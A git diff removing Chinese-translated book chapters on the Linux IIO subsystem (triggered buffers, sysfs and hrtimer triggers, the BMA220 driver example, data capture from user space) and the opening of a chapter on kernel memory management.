设备提供触发缓冲区的支持时,您必须设置`iio_dev.pollfunc`,该设置在触发器触发时执行。该处理程序有责任通过`indio_dev->active_scan_mask`找到启用的通道,检索它们的数据,并使用`iio_push_to_buffers_with_timestamp`功能将其输入到`indio_dev->buffer`中。因此,缓冲区和触发器在 IIO 子系统中紧密相连。 - -IIO 内核提供了一组帮助函数来设置触发的缓冲区,可以在`drivers/iio/industrialio-triggered-buffer.c`中找到。 - -以下是从驱动中支持触发缓冲区的步骤: - -1. 如果需要,填充`iio_buffer_setup_ops`结构: - -```sh -const struct iio_buffer_setup_ops sensor_buffer_setup_ops = { - .preenable = my_sensor_buffer_preenable, - .postenable = my_sensor_buffer_postenable, - .postdisable = my_sensor_buffer_postdisable, - .predisable = my_sensor_buffer_predisable, -}; -``` - -2. 写下与触发器关联的上半部分。在 99%的情况下,只需输入与捕获相关的时间戳: - -```sh -irqreturn_t sensor_iio_pollfunc(int irq, void *p) -{ - pf->timestamp = iio_get_time_ns((struct indio_dev *)p); - return IRQ_WAKE_THREAD; -} -``` - -3. 写触发器下半部分,它将从每个使能的通道获取数据,并将它们送入缓冲器: - -```sh -irqreturn_t sensor_trigger_handler(int irq, void *p) -{ - u16 buf[8]; - int bit, i = 0; - struct iio_poll_func *pf = p; - struct iio_dev *indio_dev = pf->indio_dev; - - /* one can use lock here to protect the buffer */ - /* mutex_lock(&my_mutex); */ - - /* read data for each active channel */ - for_each_set_bit(bit, indio_dev->active_scan_mask, - indio_dev->masklength) - buf[i++] = sensor_get_data(bit) - - /* - * If iio_dev.scan_timestamp = true, the capture timestamp - * will be pushed and stored too, as the last element in the - * sample data buffer before pushing it to the device buffers. - */ - iio_push_to_buffers_with_timestamp(indio_dev, buf, timestamp); - - /* Please unlock any lock */ - /* mutex_unlock(&my_mutex); */ - - /* Notify trigger */ - iio_trigger_notify_done(indio_dev->trig); - return IRQ_HANDLED; -} -``` - -4. 最后,在`probe`功能中,在向`iio_device_register()`注册设备之前,必须自行设置缓冲器: - -```sh -iio_triggered_buffer_setup(indio_dev, sensor_iio_polfunc, - sensor_trigger_handler, - sensor_buffer_setup_ops); -``` - -这里的神奇功能是`iio_triggered_buffer_setup`。这也将为您的设备提供`INDIO_DIRECT_MODE`功能。当(从用户空间)向您的设备发出触发器时,您无法知道捕获将在何时触发。 - -当连续缓冲捕获处于活动状态时,应该防止(通过返回错误)驱动执行 sysfs 每通道数据捕获(由`read_raw()`钩子执行),以避免不确定的行为,因为触发器处理程序和`read_raw()`钩子将尝试同时访问设备。用于检查缓冲模式是否实际使用的功能是`iio_buffer_enabled()`。钩子看起来像这样: - -```sh -static int my_read_raw(struct iio_dev *indio_dev, - const struct iio_chan_spec *chan, - int *val, int *val2, long mask) -{ - [...] - switch (mask) { - case IIO_CHAN_INFO_RAW: - if (iio_buffer_enabled(indio_dev)) - return -EBUSY; - [...] -} -``` - -`iio_buffer_enabled()`功能只是测试给定 IIO 设备的缓冲器是否启用。 - -让我们描述一下前一节中使用的一些重要内容: - -* `iio_buffer_setup_ops`提供在缓冲配置序列的固定步骤(启用/禁用之前/之后)调用的缓冲设置功能。如果没有指定,默认的`iio_triggered_buffer_setup_ops`将由 IIO 核心提供给你的设备。 -* `sensor_iio_pollfunc`是扳机的上半部分。与每个上半部分一样,它在中断上下文中运行,并且必须尽可能少地进行处理。在 99%的情况下,您只需输入与捕获相关的时间戳。同样,可以使用默认的 IIO `iio_pollfunc_store_time`功能。 -* `sensor_trigger_handler`是下半部分,它运行在一个内核线程中,允许我们做任何处理,甚至包括获取互斥或睡眠。重加工应该在这里进行。它通常从设备中读取数据,将其与记录在上半部分的时间戳一起存储在内部缓冲区中,并将其推送到您的 IIO 设备缓冲区。 - -A trigger is mandatory for triggered buffering. It tells the driver when to read the sample from the device and put it into the buffer. Triggered buffering is not mandatory to write IIO device drivers. One can use single shot capture through sysfs too, by reading raw attributesof the channel, which will only perform a single conversion (for the channel attribute being read). Buffer mode allows continuous conversions, thus capturing more than one channel in a single shot. - -# IIO 触发器和 sysfs(用户空间) - -sysfs 中有两个位置与触发器相关: - -* `/sys/bus/iio/devices/triggerY/`一旦 IIO 触发器在 IIO 内核中注册,就会创建该触发器,并与索引为`Y`的触发器相对应。目录中至少有一个属性: - * `name`这是一个触发器名称,以后可以用来与设备关联 -* `/sys/bus/iio/devices/iio:deviceX/trigger/*`如果您的设备支持触发缓冲区,将自动创建目录。通过在`current_trigger`文件中写入触发器的名称,可以将触发器与我们的设备相关联。 - -# Sysfs 触发接口 - -sysfs 触发器通过`CONFIG_IIO_SYSFS_TRIGGER=y`配置选项在内核中启用,这将导致`/sys/bus/iio/devices/iio_sysfs_trigger/`文件夹被自动创建,并可用于 sysfs 触发器管理。目录中会有两个文件,`add_trigger`和`remove_trigger`。它的司机在`drivers/iio/trigger/iio-trig-sysfs.c`。 - -# 添加触发器文件 - -这用于创建新的 sysfs 触发器。您可以通过在该文件中写入正值(将用作触发器标识)来创建新的触发器。它将创建新的 sysfs 触发器,可在`/sys/bus/iio/devices/triggerX`访问,其中`X`是触发器编号。 - -例如: - -```sh - # echo 2 > add_trigger -``` - -这将创建一个新的 sysfs 触发器,可在`/sys/bus/iio/devices/trigger2`访问。如果系统中已经存在具有指定标识的触发器,将返回无效的参数消息。sysfs 触发器名称模式是`sysfstrig{ID}`。命令`echo 2 > add_trigger`将创建名为`sysfstrig2`的触发器`/sys/bus/iio/devices/trigger2`: - -```sh - $ cat /sys/bus/iio/devices/trigger2/name - sysfstrig2 -``` - -每个 sysfs 触发器至少包含一个文件:`trigger_now`。将`1`写入该文件将指示所有在其`current_trigger`中具有相应触发名称的设备开始捕获,并将数据推入各自的缓冲区。每个设备缓冲区必须设置其大小,并且必须启用(`echo 1 > /sys/bus/iio/devices/iio:deviceX/buffer/enable`)。 - -# 移除触发器文件 - -要删除触发器,请使用以下命令: - -```sh - # echo 2 > remove_trigger -``` - -# 用扳机系住装置 - -将设备与给定的触发器相关联包括将触发器的名称写入设备触发器目录下的`current_trigger`文件。例如,假设我们需要将一个设备与索引为 2 的触发器联系起来: - -```sh -# set trigger2 as current trigger for device0 -# echo sysfstrig2 > /sys/bus/iio/devices/iio:device0/trigger/current_trigger -``` - -要从设备中分离触发器,应该向设备触发器目录的`current_trigger`文件中写入一个空字符串,如下所示: - -```sh -# echo "" > iio:device0/trigger/current_trigger -``` - -我们将在本章中看到一个处理 sysfs 数据捕获触发器的实际例子。 - -# 中断触发接口 - -考虑以下示例: - -```sh -static struct resource iio_irq_trigger_resources[] = { - [0] = { - .start = IRQ_NR_FOR_YOUR_IRQ, - .flags = IORESOURCE_IRQ | IORESOURCE_IRQ_LOWEDGE, - }, -}; - -static struct platform_device iio_irq_trigger = { - .name = "iio_interrupt_trigger", - .num_resources = ARRAY_SIZE(iio_irq_trigger_resources), - .resource = iio_irq_trigger_resources, -}; -platform_device_register(&iio_irq_trigger); -``` - -声明我们的 IRQ 触发器,它将导致 IRQ 触发器独立模块被加载。如果其`probe`功能成功,就会有一个与触发器对应的目录。IRQ 触发器名称的形式为`irqtrigX`,其中`X`对应于您刚刚通过的虚拟 IRQ,您将在`/proc/interrupt`中看到: - -```sh - $ cd /sys/bus/iio/devices/trigger0/ - $ cat name -``` - -`irqtrig85`:就像我们对其他触发器所做的一样,您只需要将该触发器的名称写入您的设备`current_trigger`文件,将其分配给您的设备。 - -```sh -# echo "irqtrig85" > /sys/bus/iio/devices/iio:device0/trigger/current_trigger -``` - -现在,每次触发中断时,都会捕获设备数据。 - -The IRQ trigger driver does not support DT yet, which is the reason why we used our board `init` file. But it does not matter; since the driver requires a resource, we can use DT without any code change. - -以下是设备树节点声明 IRQ 触发接口的示例: - -```sh -mylabel: my_trigger@0{ - compatible = "iio_interrupt_trigger"; - interrupt-parent = <&gpio4>; - interrupts = <30 0x0>; -}; -``` - -该示例假设 IRQ 线是属于 GPIO 控制器节点`gpio4`的 GPIO#30。这包括使用一个 GPIO 作为中断源,以便每当 GPIO 改变到给定状态时,中断被引发,从而触发捕获。 - -# HR 定时器触发接口 - -`hrtimer`触发器依赖于配置文件系统(参见内核源代码中的*Documentation/iio/iio _ configfs . txt*,可通过`CONFIG_IIO_CONFIGFS`配置选项启用,并安装在我们的系统上(通常在`/config`目录下): - -```sh - # mkdir /config - # mount -t configfs none /config -``` - -现在,加载模块`iio-trig-hrtimer`将创建可在`/config/iio`下访问的 IIO 组,允许用户在`/config/iio/triggers/hrtimer`下创建 hrtimer 触发器。 - -例如: - -```sh - # create a hrtimer trigger - $ mkdir /config/iio/triggers/hrtimer/my_trigger_name - # remove the trigger - $ rmdir /config/iio/triggers/hrtimer/my_trigger_name -``` - -每个 hrtimer 触发器在触发器目录中包含一个单独的`sampling_frequency`属性。在章节*中使用 hrtimer 触发器*的数据捕获中提供了一个完整的工作示例。 - -# IIO 缓冲区 - -IIO 缓冲器提供连续数据采集,一次可以读取多个数据通道。可通过`/dev/iio:device`字符设备节点从用户空间访问缓冲区。在触发处理器中,用于填充缓冲区的函数是`iio_push_to_buffers_with_timestamp`。负责为您的设备分配触发缓冲区的功能是`iio_triggered_buffer_setup()`。 - -# IIO 缓冲 sysfs 接口 - -IIO 缓冲区在`/sys/bus/iio/iio:deviceX/buffer/*`下有一个关联的属性目录。以下是一些现有属性: - -* `length`:缓冲区可以存储的数据样本总数(容量)。这是缓冲区包含的扫描次数。 -* `enable`:这激活缓冲捕获,开始缓冲捕获。 -* `watermark`:这个属性从内核版本 4.2 开始就有了。它是一个正数,指定了阻塞读取应该等待多少个扫描元素。例如使用`poll`的话,会一直阻塞,直到达到水印为止。只有当水印大于请求的读取量时,它才有意义。它不影响非阻塞读取。用户可以通过超时阻止轮询,并在超时后读取可用样本,从而获得最大延迟保证。 - -# IIO 缓冲设置 - -要读取数据并将其推入缓冲区的通道称为扫描元件。它们的配置可从用户空间通过`/sys/bus/iio/iio:deviceX/scan_elements/*`目录访问,包含以下属性: - -* `en`(实际上是属性名称的后缀),用于启用通道。如果且仅当其属性为非零,则触发的捕获将包含此通道的数据样本。比如`in_voltage0_en`、`in_voltage1_en`等等。 -* `type`描述缓冲区内的扫描元素数据存储,以及从用户空间读取的形式。比如`in_voltage0_type`。格式是`[be|le]:[s|u]bits/storagebitsXrepeat[>>shift]`。 - * `be`或`le`指定字符顺序(大或小)。 - * `s`或`u`指定符号,有符号(2 的补码)或无符号。 - * `bits`是有效数据位数。 - * `storagebits`是该通道在缓冲区中占用的位数。也就是说,一个值可能实际上是用 12 位(**位**)编码的,但是在缓冲区中占用 16 位(**存储位**)。因此,必须向右移动数据四次才能获得实际值。该参数取决于器件,应参考其数据手册。 - * `shift`表示在屏蔽掉未使用的位之前,应该移位数据值的次数。这个参数并不总是需要的。如果有效位数(**位**)等于存储位数,则移位为 0。也可以在器件数据手册中找到该参数。 - * `repeat`指定位/存储位重复的次数。当 repeat 元素为 0 或 1 时,则省略 repeat 值。 - -解释这一部分最好的方法是摘录内核文档,可以在这里找到:[https://www . kernel . org/doc/html/latest/driver-API/iio/buffers . html](https://www.kernel.org/doc/html/latest/driver-api/iio/buffers.html)。例如,数据存储在两个 8 位寄存器中的 12 位分辨率 3 轴加速度计驱动如下: - -```sh - 7 6 5 4 3 2 1 0 - +---+---+---+---+---+---+---+---+ - |D3 |D2 |D1 |D0 | X | X | X | X | (LOW byte, address 0x06) - +---+---+---+---+---+---+---+---+ -``` - -```sh - 7 6 5 4 3 2 1 0 - +---+---+---+---+---+---+---+---+ - |D11|D10|D9 |D8 |D7 |D6 |D5 |D4 | (HIGH byte, address 0x07) - +---+---+---+---+---+---+---+---+ -``` - -每个轴将具有以下扫描元素类型: - -```sh - $ cat /sys/bus/iio/devices/iio:device0/scan_elements/in_accel_y_type - le:s12/16>>4 -``` - -人们应该将其理解为 16 位大小的小端符号数据,在屏蔽掉 12 位有效数据之前,需要将其右移 4 位。 - -`struct iio_chan_spec`中负责确定通道值应如何存储到缓冲区的元素是`scant_type`。 - -```sh -struct iio_chan_spec { - [...] - struct { - char sign; /* Should be 'u' or 's' as explained above */ - u8 realbits; - u8 storagebits; - u8 shift; - u8 repeat; - enum iio_endian endianness; - } scan_type; - [...] -}; -``` - -这个结构绝对匹配`[be|le]:[s|u]bits/storagebitsXrepeat[>>shift]`,这是上一节描述的模式。让我们看看这个结构的每个成员: - -* `sign`代表数据的符号,与模式中的`[s|u]`匹配 -* `realbits`对应于图案中的`bits` -* `storagebits`匹配模式中的同名 -* `shift`对应于模式中的移动,与`repeat`相同 -* `iio_indian`代表字符顺序,与模式中的`[be|le]`匹配 - -在这一点上,人们能够写出对应于前面解释的类型的 IIO 信道结构: - -```sh -struct struct iio_chan_spec accel_channels[] = { - { - .type = IIO_ACCEL, - .modified = 1, - .channel2 = IIO_MOD_X, - /* other stuff here */ - .scan_index = 0, - .scan_type = { - .sign = 's', - .realbits = 12, - .storagebits = 16, - .shift = 4, - .endianness = IIO_LE, - }, - } - /* similar for Y (with channel2 = IIO_MOD_Y, scan_index = 1) - * and Z (with channel2 = IIO_MOD_Z, scan_index = 2) axis - */ -} -``` - -# 把它们放在一起 - -让我们仔细看看来自 BOSH 的数字三轴加速度传感器 BMA220。这是一款 SPI/I2C 兼容器件,具有 8 位大小的寄存器,以及一个片内运动触发中断控制器,该控制器实际上可以检测倾斜、运动和冲击振动。其数据表可在:[http://www.mouser.fr/pdfdocs/BSTBMA220DS00308.PDF](http://www.mouser.fr/pdfdocs/BSTBMA220DS00308.PDF)获得,其驱动从内核 4.8 ( `CONFIG_BMA200`)开始引入。让我们走一遍: - -首先,我们使用`struct iio_chan_spec`申报我们的 IIO 频道。一旦触发的缓冲区被使用,那么我们需要填充`.scan_index`和`.scan_type`字段: - -```sh -#define BMA220_DATA_SHIFT 2 -#define BMA220_DEVICE_NAME "bma220" -#define BMA220_SCALE_AVAILABLE "0.623 1.248 2.491 4.983" - -#define BMA220_ACCEL_CHANNEL(index, reg, axis) { \ - .type = IIO_ACCEL, \ - .address = reg, \ - .modified = 1, \ - .channel2 = IIO_MOD_##axis, \ - .info_mask_separate = BIT(IIO_CHAN_INFO_RAW), \ - .info_mask_shared_by_type = BIT(IIO_CHAN_INFO_SCALE), \ - .scan_index = index, \ - .scan_type = { \ - .sign = 's', \ - .realbits = 6, \ - .storagebits = 8, \ - .shift = BMA220_DATA_SHIFT, \ - .endianness = IIO_CPU, \ - }, \ -} - -static const struct iio_chan_spec bma220_channels[] = { - BMA220_ACCEL_CHANNEL(0, BMA220_REG_ACCEL_X, X), - BMA220_ACCEL_CHANNEL(1, BMA220_REG_ACCEL_Y, Y), - BMA220_ACCEL_CHANNEL(2, BMA220_REG_ACCEL_Z, Z), -}; -``` - -`.info_mask_separate = BIT(IIO_CHAN_INFO_RAW)`表示每个通道将有一个`*_raw` sysfs 条目(属性),而`.info_mask_shared_by_type = BIT(IIO_CHAN_INFO_SCALE)`表示同一类型的所有通道只有一个`*_scale` sysfs 条目: - -```sh - jma@jma:~$ ls -l /sys/bus/iio/devices/iio:device0/ -``` - -```sh -(...) -# without modifier, a channel name would have in_accel_raw (bad) --rw-r--r-- 1 root root 4096 jul 20 14:13 in_accel_scale --rw-r--r-- 1 root root 4096 jul 20 14:13 in_accel_x_raw --rw-r--r-- 1 root root 4096 jul 20 14:13 in_accel_y_raw --rw-r--r-- 1 root root 4096 jul 20 14:13 in_accel_z_raw -(...) -``` - -读取`in_accel_scale`将口罩设置为`IIO_CHAN_INFO_SCALE`的`read_raw()`挂钩调用。读取`in_accel_x_raw`调用`read_raw()`钩子,并将面具设置为`IIO_CHAN_INFO_RAW`。因此真正的价值是`raw_value * scale`。 - -`.scan_type`说的是每个通道返回的值是,8 位大小(将占用缓冲区中的 8 位),但有用的有效载荷只占用 6 位,数据必须右移 2 次才能屏蔽掉未使用的位。任何扫描元素类型都如下所示: - -```sh -$ cat /sys/bus/iio/devices/iio:device0/scan_elements/in_accel_x_type -le:s6/8>>2 -``` - -下面是我们的`pollfunc`(实际上是下半部分),它从设备中读取样本,并将读取的值推入缓冲区(`iio_push_to_buffers_with_timestamp()`)。一旦完成,我们通知核心(`iio_trigger_notify_done()`): - -```sh -static irqreturn_t bma220_trigger_handler(int irq, void *p) -{ - int ret; - struct iio_poll_func *pf = p; - struct iio_dev *indio_dev = pf->indio_dev; - struct bma220_data *data = iio_priv(indio_dev); - struct spi_device *spi = data->spi_device; - - mutex_lock(&data->lock); - data->tx_buf[0] = BMA220_REG_ACCEL_X | BMA220_READ_MASK; - ret = spi_write_then_read(spi, data->tx_buf, 1, data->buffer, - ARRAY_SIZE(bma220_channels) - 1); - if (ret < 0) - goto err; - - iio_push_to_buffers_with_timestamp(indio_dev, data->buffer, - pf->timestamp); -err: - mutex_unlock(&data->lock); - iio_trigger_notify_done(indio_dev->trig); - - return IRQ_HANDLED; -} -``` - -以下是`read`功能。它是一个钩子,每次读取设备的 sysfs 条目时都会调用: - -```sh -static int bma220_read_raw(struct iio_dev *indio_dev, - struct iio_chan_spec const *chan, - int *val, int *val2, long mask) -{ - int ret; - u8 range_idx; - struct bma220_data *data = iio_priv(indio_dev); - - switch (mask) { - case IIO_CHAN_INFO_RAW: - /* If buffer mode enabled, do not process single-channel read */ - if (iio_buffer_enabled(indio_dev)) - return -EBUSY; - /* Else we read the channel */ - ret = bma220_read_reg(data->spi_device, chan->address); - if (ret < 0) - return -EINVAL; - *val = sign_extend32(ret >> BMA220_DATA_SHIFT, 5); - return IIO_VAL_INT; - case IIO_CHAN_INFO_SCALE: - ret = bma220_read_reg(data->spi_device, BMA220_REG_RANGE); - if (ret < 0) - return ret; - range_idx = ret & BMA220_RANGE_MASK; - *val = bma220_scale_table[range_idx][0]; - *val2 = bma220_scale_table[range_idx][1]; - return IIO_VAL_INT_PLUS_MICRO; - } - - return -EINVAL; -} -``` - -当一个人读取一个`*raw` sysfs 文件时,调用钩子,在`mask`参数中给出`IIO_CHAN_INFO_RAW`,在`*chan`参数中给出相应的通道。`*val`和`val2`实际上是输出参数。它们必须用原始值设置(从设备读取)。对`*scale` sysfs 文件执行的任何读取将调用掩码参数中带有`IIO_CHAN_INFO_SCALE`的钩子,以此类推每个属性掩码。 - -用于将值写入设备的`write`功能也是如此。您的驾驶员有 80%的可能不需要`write`功能。这个`write`挂钩可以让用户改变设备的比例: - -```sh -static int bma220_write_raw(struct iio_dev *indio_dev, - struct iio_chan_spec const *chan, - int val, int val2, long mask) -{ - int i; - int ret; - int index = -1; - struct bma220_data *data = iio_priv(indio_dev); - - switch (mask) { - case IIO_CHAN_INFO_SCALE: - for (i = 0; i < ARRAY_SIZE(bma220_scale_table); i++) - if (val == bma220_scale_table[i][0] && - val2 == bma220_scale_table[i][1]) { - index = i; - break; - } - if (index < 0) - return -EINVAL; - - mutex_lock(&data->lock); - data->tx_buf[0] = BMA220_REG_RANGE; - data->tx_buf[1] = index; - ret = spi_write(data->spi_device, data->tx_buf, - sizeof(data->tx_buf)); - if (ret < 0) - dev_err(&data->spi_device->dev, - "failed to set measurement range\n"); - mutex_unlock(&data->lock); - - return 0; - } - - return -EINVAL; -} -``` - -每当向设备写入值时,都会调用此函数。经常变化的参数是刻度。例如:`echo > /sys/bus/iio/devices/iio;devices0/in_accel_scale`。 - -现在,它来填充一个`struct iio_info`结构,给我们的`iio_device`: - -```sh -static const struct iio_info bma220_info = { - .driver_module = THIS_MODULE, - .read_raw = bma220_read_raw, - .write_raw = bma220_write_raw, /* Only if your driver need it */ -}; -``` - -在`probe`功能中,我们分配并设置一个`struct iio_dev` IIO 设备。私有数据的内存也被保留: - -```sh -/* - * We provide only two mask possibility, allowing to select none or every - * channels. - */ -static const unsigned long bma220_accel_scan_masks[] = { - BIT(AXIS_X) | BIT(AXIS_Y) | BIT(AXIS_Z), - 0 -}; - -static int bma220_probe(struct spi_device *spi) -{ - int ret; - struct iio_dev *indio_dev; - struct bma220_data *data; - - indio_dev = devm_iio_device_alloc(&spi->dev, sizeof(*data)); - if (!indio_dev) { - dev_err(&spi->dev, "iio allocation failed!\n"); - return -ENOMEM; - } - - data = iio_priv(indio_dev); - data->spi_device = spi; - spi_set_drvdata(spi, indio_dev); - mutex_init(&data->lock); - - indio_dev->dev.parent = &spi->dev; - indio_dev->info = &bma220_info; - indio_dev->name = BMA220_DEVICE_NAME; - indio_dev->modes = INDIO_DIRECT_MODE; - indio_dev->channels = bma220_channels; - indio_dev->num_channels = ARRAY_SIZE(bma220_channels); - indio_dev->available_scan_masks = bma220_accel_scan_masks; - - ret = bma220_init(data->spi_device); - if (ret < 0) - return ret; - - /* this call will enable trigger buffer support for the device */ - ret = iio_triggered_buffer_setup(indio_dev, iio_pollfunc_store_time, - bma220_trigger_handler, NULL); - if (ret < 0) { - dev_err(&spi->dev, "iio triggered buffer setup failed\n"); - goto err_suspend; - } - - ret = iio_device_register(indio_dev); - if (ret < 0) { - dev_err(&spi->dev, "iio_device_register failed\n"); - iio_triggered_buffer_cleanup(indio_dev); - goto err_suspend; - } - - return 0; - -err_suspend: - return bma220_deinit(spi); -} -``` - -您可以通过`CONFIG_BMA220`内核选项启用该驱动。也就是说,这只能从 4.8 版开始在内核中使用。在较旧的内核版本上,最接近的设备是 BMA180,可以使用`CONFIG_BMA180`选项启用它。 - -# IIO 数据访问 - -您可能已经猜到,使用 IIO 框架访问数据只有两种方式;通过 sysfs 通道的一次性捕获,或通过 IIO 字符设备的连续模式(触发缓冲区)。 - -# 一次性捕获 - -一次性数据捕获通过 sysfs 接口完成。通过读取对应于一个通道的 sysfs 条目,您将只捕获特定于该通道的数据。假设温度传感器有两个通道:一个用于环境温度,另一个用于热电偶温度: - -```sh - # cd /sys/bus/iio/devices/iio:device0 - # cat in_voltage3_raw - 6646 -``` - -```sh - # cat in_voltage_scale - 0.305175781 -``` - -已处理值是通过将比例乘以原始值获得的。 - -`Voltage value` : `6646 * 0.305175781 = 2028.19824053` - -器件数据表显示过程值以毫伏为单位。在我们的例子中,它对应于 2.02819V。 - -# 缓冲数据访问 - -要使触发采集工作,必须在您的驱动中实现触发支持。然后,要从用户空间内获取数据,必须:创建一个触发器,分配它,使能 ADC 通道,设置缓冲器的尺寸,并使能它)。这是代码: - -# 使用 sysfs 触发器捕获 - -使用 sysfs 触发器捕获数据包括发送一组命令几个 sysfs 文件。让我们列举我们应该做些什么来实现这一目标: - -1. **创建触发器**:在将触发器分配给任何设备之前,应该创建触发器: - -```sh - # echo 0 > /sys/devices/iio_sysfs_trigger/add_trigger -``` - -这里,`0`对应于我们需要分配给触发器的索引。该命令后,触发目录将在`*/sys/bus/iio/devices/*`下可用,作为`trigger0`。 - -2. **将触发器分配给设备**:触发器由它的名称唯一标识,我们可以使用它将设备与触发器联系起来。由于我们使用 0 作为索引,触发器将被命名为`sysfstrig0`: - -```sh -# echo sysfstrig0 > /sys/bus/iio/devices/iio:device0/trigger/current_trigger -``` - -我们也可以使用这个命令:`cat /sys/bus/iio/devices/trigger0/name > /sys/bus/iio/devices/iio:device0/trigger/current_trigger`。也就是说,如果我们写的值不对应于现有的触发器名称,什么也不会发生。为了确保我们真正定义了一个触发器,我们可以使用`cat /sys/bus/iio/devices/iio:device0/trigger/current_trigger`。 - -3. **启用一些扫描元素**:这一步包括选择哪些通道应该将其数据值推入缓冲区。司机应注意`available_scan_masks`: - -```sh - # echo 1 > /sys/bus/iio/devices/iio:device0/scan_elements/in_voltage4_en - # echo 1 > /sys/bus/iio/devices/iio:device0/scan_elements/in_voltage5_en - # echo 1 > /sys/bus/iio/devices/iio:device0/scan_elements/in_voltage6_en - # echo 1 > /sys/bus/iio/devices/iio:device0/scan_elements/in_voltage7_en -``` - -4. **设置缓冲区大小**:这里需要设置缓冲区可以容纳的样本集数量: - -```sh - # echo 100 > /sys/bus/iio/devices/iio:device0/buffer/length -``` - -5. **启用缓冲区**:该步骤包括将缓冲区标记为准备接收推送数据: - -```sh - # echo 1 > /sys/bus/iio/devices/iio:device0/buffer/enable -``` - -要停止捕获,我们必须在同一个文件中写入 0。 - -6. **触发**:发射采集: - -```sh - # echo 1 > /sys/bus/iio/devices/trigger0/trigger_now -``` - -现在收购已经完成,我们可以: - -7. 禁用缓冲区: - -```sh - # echo 0 > /sys/bus/iio/devices/iio:device0/buffer/enable -``` - -8. 分离触发器: - -```sh - # echo "" > /sys/bus/iio/devices/iio:device0/trigger/current_trigger -``` - -9. 转储我们的 IIO 字符设备的内容: - -```sh - # cat /dev/iio\:device0 | xxd - -``` - -# 使用 hrtimer 触发器捕获 - -以下是允许使用 hrtimer 触发器捕获数据的命令集: - -```sh - # echo /sys/kernel/config/iio/triggers/hrtimer/trigger0 - # echo 50 > /sys/bus/iio/devices/trigger0/sampling_frequency - # echo 1 > /sys/bus/iio/devices/iio:device0/scan_elements/in_voltage4_en - # echo 1 > /sys/bus/iio/devices/iio:device0/scan_elements/in_voltage5_en - # echo 1 > /sys/bus/iio/devices/iio:device0/scan_elements/in_voltage6_en - # echo 1 > /sys/bus/iio/devices/iio:device0/scan_elements/in_voltage7_en - # echo 1 > /sys/bus/iio/devices/iio:device0/buffer/enable - # cat /dev/iio:device0 | xxd - - 0000000: 0188 1a30 0000 0000 8312 68a8 c24f 5a14 ...0......h..OZ. - 0000010: 0188 1a30 0000 0000 192d 98a9 c24f 5a14 ...0.....-...OZ. - [...] -``` - -然后,我们查看类型以了解如何处理数据: - -```sh -$ cat /sys/bus/iio/devices/iio:device0/scan_elements/in_voltage_type -be:s14/16>>2 -``` - -电压处理:`0x188 >> 2 = 98 * 250 = 24500 = 24.5 v` - -# IIO 工具公司 - -有一些有用的工具,你可以使用,以方便和加快您的应用的开发与 IIO 设备。它们在内核树的`tools/iio`中可用: - -* `lsiio.c` **:** 枚举 IIO 触发器、设备和通道 -* `iio_event_monitor.c`:监控 IIO 设备的 ioctl 接口,查看 IIO 事件 -* `generic_buffer.c`:检索、处理和打印从 IIO 设备的缓冲器接收的数据 -* `libiio`:ADI 公司开发的一个强大的库,用于连接 IIO 设备,可在[https://github.com/analogdevicesinc/libiio](https://github.com/analogdevicesinc/libiio)获得。 - -# 摘要 - -到本章结束时,您应该已经熟悉了 IIO 框架和词汇。你知道什么是通道、设备和触发器。您甚至可以从用户空间,通过 sysfs 或字符设备来玩您的 IIO 设备。写你自己的 IIO 司机的时候到了。有许多可用的现有驱动不支持触发缓冲区。您可以尝试在其中一个中添加此类功能。在下一章中,我们将使用系统中最有用的资源:内存。坚强点,比赛才刚刚开始。 \ No newline at end of file diff --git a/docs/linux-device-driver-dev/11.md b/docs/linux-device-driver-dev/11.md deleted file mode 100644 index 0fd4d002..00000000 --- a/docs/linux-device-driver-dev/11.md +++ /dev/null @@ -1,1132 +0,0 @@ -# 十一、内核内存管理 - -在 Linux 系统上,每个内存地址都是虚拟的。它们不直接指向内存中的任何地址。每当访问一个存储单元时,执行一种转换机制,以便匹配相应的物理存储器。 - -让我们从一个小故事开始,介绍虚拟记忆的概念。给定一个酒店,每个房间可以有一部电话,有一个私人号码。任何安装的电话,当然是属于酒店的。没有一个可以从酒店外直接加入。 - -如果你需要联系一个房间的居住者,比如说你的朋友,他一定给了你酒店的总机号码和他住的房间号码。一旦你打电话给总机,并给出你需要通话的人的房间号码,就在这时,接待员将你的电话重定向到房间真正的私人电话。只有接待员和房间居住者知道私人号码映射: - -```sh -(switchboard number + room number) <=> private (real) phone number -``` - -每当这个城市(或世界各地)的人想联系一个房间的居住者,他必须通过热线。他需要知道酒店正确的热线号码和房间号码。这样,`switchboard number + room number` =虚拟地址,而`private phone number`对应物理地址。与酒店相关的一些规则也适用于 Linux: - -| **酒店** | Linux | -| 你不能联系房间里没有私人电话的住户。甚至没有办法尝试这样做。你的电话会突然结束。 | 您不能访问地址空间中不存在的内存。这将导致分割错误。 | -| 你不能联系一个不存在的居住者,或者酒店不知道他的入住,或者总机找不到他的信息。 | 如果您访问未映射的内存,中央处理器会引发页面错误,操作系统会处理它。 | -| 你不能联系一个住在这里的人。 | 您无法访问释放的内存。可能已经分配给另一个进程了 | -| 许多酒店可能有相同的品牌,但位于不同的地方,每个酒店都有不同的热线号码。如果你弄错了热线号码。 | 不同的进程可能在它们的地址空间中映射了相同的虚拟地址,但是指向另一个不同的物理地址。 | -| 有一本书(或带有数据库的软件)保存着房间号码和私人电话号码之间的映射,接待员可以根据需要进行咨询。 | 虚拟地址通过页表映射到物理内存,页表由操作系统内核维护,并由处理器查询。 | - -这就是虚拟地址在 Linux 系统上的工作方式。 - -在本章中,我们将讨论整个 Linux 内存管理系统,包括以下主题: - -* 存储器布局以及地址转换和内存管理单元 -* 内存分配机制(页面分配器、平板分配器、kmalloc 分配器等) -* 输入输出内存访问 -* 将内核内存映射到用户空间并实现`mmap()`回调函数 -* 介绍 Linux 缓存系统 -* 介绍设备管理资源框架(devres) - -# 系统内存布局-内核空间和用户空间 - -在本章中,诸如内核空间和用户空间这样的术语指的是它们的虚拟地址空间。在 Linux 系统上,每个进程都拥有一个虚拟地址空间。它是进程生命周期中的一种内存沙盒。在 32 位系统上,该地址空间的大小为 4 GB(即使在物理内存小于 4 GB 的系统上也是如此)。对于每个进程,4 GB 地址空间分为两部分: - -* 用户空间虚拟地址 -* 内核空间虚拟地址 - -分割的方式取决于一个特殊的内核配置选项`CONFIG_PAGE_OFFSET`,它定义了内核地址部分在进程地址空间中的起始位置。默认情况下,32 位系统的通用值为`0xC0000000`,但这可能会改变,恩智浦使用`0x80000000`的 i.MX6 系列处理器就是这种情况。全章默认考虑`0xC0000000`。这被称为 3G/1G 分割,其中用户空间被给予较低的 3 GB 虚拟地址空间,内核使用剩余的较高的 1 GB。典型进程的虚拟地址空间布局如下所示: - -```sh - .------------------------. 0xFFFFFFFF - | | (4 GB) - | 